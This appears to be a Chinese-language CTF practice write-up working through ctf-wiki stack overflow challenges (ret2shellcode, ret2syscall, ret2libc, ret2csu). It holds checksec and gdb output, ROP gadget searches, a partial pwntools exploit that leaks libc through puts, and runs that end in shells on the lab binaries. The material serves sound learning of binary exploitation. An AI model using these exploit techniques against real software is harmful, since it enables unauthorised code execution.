[root@ningan ret2shellcode]# ./ret2shellcode No system for you this time !!! 123 byebye ~[root@ningan ret2shellcode]#
checksec检查
1 2 3 4 5 6 7 8 9 10
[root@ningan ret2shellcode]# checksec ret2shellcode [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfwiki/ret2shellcode/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(s); strncpy(buf2, s, 0x64u); printf("bye bye ~"); return0; }
# gdb ret2shellcode pwndbg> b main ... pwndbg> run ... pwndbg> n pwndbg> n pwndbg> n ... AAAAAAAA pwndbg> stack 40 pwndbg> distance 源地址 目的地址 pwndbg> p/d 0x6c
""" [root@ningan ret2shellcode]# python exp.py [+] Starting local process './ret2shellcode': pid 8742 [*] Switching to interactive mode No system for you this time !!! bye bye ~$ ls exp.py ret2shellcode $
"""
ret2syscall
检查
1 2 3 4 5 6 7 8 9 10
[root@ningan ret2syscall]# checksec rop [*] '/root/ctf/ctfwiki/ret2syscall/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
[root@ningan ret2syscall]# file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
ida分析
1 2 3 4 5 6 7 8 9 10 11
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return0; }
可以看到这块有这么多函数,因为是静态链接进来的
gdb分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# gdb rop pwndbg> b main ... pwndbg> run ... pwndbg> n pwndbg> n pwndbg> n ... AAAAAAAA pwndbg> stack 40 pwndbg> distance 0xffffd2fc 0xffffd368 0xffffd2fc->0xffffd368 is 0x6c bytes (0x1b words) pwndbg> p/d 0x6c
[root@ningan ret2syscall]# ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret [root@ningan ret2syscall]# [root@ningan ret2syscall]# ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret [root@ningan ret2syscall]# [root@ningan ret2syscall]# [root@ningan ret2syscall]# [root@ningan ret2syscall]# ROPgadget --binary rop --string '/bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh [root@ningan ret2syscall]# [root@ningan ret2syscall]# [root@ningan ret2syscall]# ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80
""" [root@ningan ret2syscall]# python exp.py [+] Starting local process './rop': pid 24853 [*] Switching to interactive mode This time, no system() and NO SHELLCODE!!! What do you plan to do? $ ls exp.py rop $ """
[root@ningan ret2libc1]# file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped [root@ningan ret2libc1]# [root@ningan ret2libc1]# checksec ret2libc1 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfwiki/ret2libc1/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
""" [root@ningan ret2libc1]# python exp.py [+] Starting local process './ret2libc1': pid 738 [*] Switching to interactive mode RET2LIBC >_< $ ls exp.py ret2libc1
"""
ret2libc2
检查
1 2 3 4 5 6 7 8 9 10 11 12
[root@ningan ret2libc2]# file ret2libc2 ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped [root@ningan ret2libc2]# [root@ningan ret2libc2]# checksec ret2libc2 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfwiki/ret2libc2/ret2libc2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("Something surprise here, but I don't think it will work."); printf("What do you think ?"); gets(s); return0; }
[root@ningan ret2libc3]# file ret2libc3 ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped [root@ningan ret2libc3]# [root@ningan ret2libc3]# checksec ret2libc3 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfwiki/ret2libc3/ret2libc3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [root@ningan ret2libc3]# ./ret2libc3 No surprise anymore, system disappeard QQ. Can you find it !?1234
1)详细介绍: a. 当你将puts函数的地址放在栈上,然后通过控制程序流使其执行puts函数,程序会跳转到puts函数的代码,开始执行它。而puts函数通常用于将一个以null结尾的字符串输出到标准输出(终端)。 b. 在这种情况下,你将__libc_start_main的GOT(Global Offset Table,全局偏移表)地址作为参数传递给了puts函数。这个GOT表是一个特殊的数据结构,包含了程序中需要调用的外部库函数的地址。其中,__libc_start_main函数在程序启动时被调用,因此GOT表中存储了对该函数的引用。 c. 当puts函数被执行时,它会根据传递的地址从GOT表中读取数据,然后将这些数据输出到终端。由于你传递的是__libc_start_main的GOT表地址,puts函数实际上会输出__libc_start_main函数的地址。
""" from pwn import * from LibcSearcher import LibcSearcher
sh = process('./ret2libc3') ret2libc3 = ELF('./ret2libc3') # context(os="linux", log_level='debug')
print("leak libc_start_main_got addr and return to main again") payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) # sh.sendlineafter('Can you find it !?', payload) sh.sendlineafter('!?', payload)
[root@ningan ret2csu]# file level5 level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=45a4cee8f6bcc184507b3bea0f0c2e2d603650bd, not stripped [root@ningan ret2csu]# [root@ningan ret2csu]# checksec level5 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfwiki/ret2csu/level5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [root@ningan ret2csu]# [root@ningan ret2csu]# ./level5 Hello, World ls
""" └─# python exp.py [*] '/root/ctf-practice/ctfwiki/ret2csu/level5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './level5': pid 219789 /root/ctf-practice/ctfwiki/ret2csu/exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes sh.recvuntil('Hello, World\n') [+] There are multiple libc that meet current constraints : 0 - libc6_2.7-10ubuntu3_i386 1 - libc-2.28-206.el8.x86_64 2 - glibc-2.28-206.el8.x86_64 3 - glibc-2.28-208.el8.x86_64 4 - libc-2.28-208.el8.x86_64 5 - glibc-2.28-207.el8.x86_64 6 - libc-2.36-22.mga9.i586 7 - libc6_2.37-6_amd64 8 - libc-2.28-207.el8.x86_64 9 - libc6_2.7-10ubuntu2_i386 [+] Choose one : 7 [+] execve_addr 0x7fb841531060 /root/ctf-practice/ctfwiki/ret2csu/exp.py:51: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes sh.recvuntil('Hello, World\n') /root/ctf-practice/ctfwiki/ret2csu/exp.py:55: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes sh.recvuntil('Hello, World\n') [*] Switching to interactive mode $ ls core exp-self.py exp.py exp2-test.py exp3-test.py level5 $ """